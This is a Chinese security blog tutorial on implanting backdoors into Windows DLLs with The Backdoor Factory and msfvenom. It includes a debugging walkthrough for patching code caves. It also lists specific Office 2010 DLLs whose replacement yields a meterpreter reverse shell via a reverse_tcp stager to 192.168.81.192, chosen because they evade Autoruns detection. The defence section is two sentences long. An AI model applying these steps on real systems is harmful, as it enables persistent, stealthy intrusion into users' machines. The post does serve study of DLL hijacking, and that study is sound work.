欢迎光临
我们一直在努力

利用BDF向DLL文件植入后门

0x00 前言


在之前的文章《利用BDF向EXE文件植入后门》介绍了使用The Backdoor Factory向EXE文件植入后门的方法,这次将要介绍向DLL文件植入后门的思路,演示一种DLL劫持的利用方法,总结该方法的特点,分析防御思路

0x01 简介


本文将要介绍以下内容:

  • 劫持自己的DLL,修复BUG
  • 劫持系统的DLL,绕过Autoruns的后门检测

0x02 利用思路


DLL同EXE文件的植入思路相同,也是通过修改程序的执行流程,跳转到Code Caves,执行payload,再返回至程序的正常流程

DLL同EXE文件最大的区别是多了导出函数的功能

在实现DLL劫持时,常常需要获得原DLL的导出函数,模拟导出函数,添加payload,实现利用

那么,The Backdoor Factory在DLL文件的后门植入上,是否要考虑导出函数呢?

下面进行测试,得出结论

0x02 编写程序进行测试


测试Dll testdll.dll:


#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        //MessageBox(NULL, NULL, NULL, 0);
        //Sleep(5000);
        printf("[+] DLL_PROCESS_ATTACH/n");
    case DLL_THREAD_ATTACH:
        printf("[+] DLL_THREAD_ATTACH/n");
    case DLL_THREAD_DETACH:
        printf("[+] DLL_THREAD_DETACH/n");
    case DLL_PROCESS_DETACH:
        printf("[+] DLL_PROCESS_DETACH/n");
        break;
    }
    return TRUE;
}

void Export1()
{
    printf("[+] Export1/n");
}

导出函数为

Export1

Dll加载程序 loader.exe:


#include <windows.h>
typedef void(*Export)();
int main(int argc, char* argv[])
{
    Export exporttest;
    printf("[*] LoadLibrary/n");
    HMODULE hDllLib = LoadLibrary("testdll.dll");
    exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
    exporttest();
    Sleep(10000);
    FreeLibrary(hDllLib);
    printf("[*] FreeLibrary/n");
    return 0;
}

程序执行如下图,加载testdll.dll,调用导出函数

Export1

2-1 利用BDF向DLL文件植入后门

使用The Backdoor Factory为DLL文件添加后门:


msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a

再次执行loader.exe,测试如下图

2-1 利用BDF向DLL文件植入后门

成功执行payload,但是改变了程序流程,无法正常返回

FreeLibrary

需要对DLL进行调试,找到出错的原因

首先生成空的跳转模板:


./backdoor.py -f testdll.dll -s cave_miner_inline

选择

.text

执行Loader.exe,程序一切正常,那么就是中间的payload出了问题

使用Immunity Debugger打开新的testdll.dll,找到劫持的位置,payload保存在

0x10005716

如下图

2-1 利用BDF向DLL文件植入后门

这里可以推测,payload只要能够保持堆栈平衡,那么就不会影响程序的正常执行

接下来,在

0x10005716

处填入我们的payload

可以使用

CFF Explorer

添加payload

首先定位payload起始点


PUSHAD
PUSHFD

对应的16进制代码为

609C

在CFF Explorer中切换到Hex Editor视图,搜索

609C

,定位起始点

0x0000571A

注:

通过Immunity Debugger获得的内存虚拟地址为

0x1000571A

,二者对应,位置正确

为了扩大payload空间,可以将后面的调整堆栈平衡代码整体后移

如下图

2-1 利用BDF向DLL文件植入后门

2-1 利用BDF向DLL文件植入后门

0x0005772

0x0000579E

的数据整体后移,中间填入

0x90

选中该部分内容,

右键

Copy

Hex

找到合适的位置,

右键

Fill With...

完整操作如下图

2-1 利用BDF向DLL文件植入后门

依此方法,中间填入修改后的payload即可,完成Bug修复

通过Immunity Debugger查看DLL文件,可以看到The Backdoor Factory对DLL和EXE文件进行跳转劫持的位置一样

如下图

2-1 利用BDF向DLL文件植入后门

得出结论:

对于DLL文件来说,劫持初始化部分造成的结果是在

LoadLibrary

时即可执行payload,如果想在程序加载DLL导出函数时执行payload,将跳转代码改到导出函数内即可

0x03 劫持系统的DLL


针对Office 2010,分享几个自己找到的DLL劫持利用位置

1、劫持Word-审阅试图

LOCALSVC.DLL,位于

C:/Program Files/Common Files/microsoft shared/RRLoc14/

对该dll添加payload


./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded

替换dll(需要管理员权限),启动word.exe,切换至审阅视图,弹回meterpreter

测试如下图

2-1 利用BDF向DLL文件植入后门

2、劫持word-插入-图片

tiptsf.dll,位于

C:/Program Files/Common Files/microsoft shared/ink/

需要

TrustedInstaller

权限才能替换

关于如何获得

TrustedInstaller

权限,可参考文章《渗透技巧——Token窃取与利用》

3、劫持word-文件

也影响别的位置:

word -页面布局-主题-浏览主题

GrooveIntlResource.dll,位于

C:/Program Files/Microsoft Office/Office14/2052

需要管理员权限

4、劫持Excel-插入-图片

MSPTLS.DLL,位于

C:/Program Files/Common Files/microsoft shared/OFFICE14/

需要管理员权限

以上测试如下图

2-1 利用BDF向DLL文件植入后门

注:

本节内容仅为了演示DLL劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过Autoruns的检测

0x04 防御


对于系统DLL,通过会带有微软签名,如果对DLL植入后门,签名会失效,这是一个老生常谈的问题

而对于第三方开发的软件,调用的第三方DLL不加签名,那么被利用的风险很大

0x05 小结


本文测试了使用The Backdoor Factory向DLL文件植入后门的方法,介绍修复BUG的思路,分享了一种DLL劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题


LEAVE A REPLY

未经允许不得转载:杂术馆 » 利用BDF向DLL文件植入后门
分享到: 更多 (0)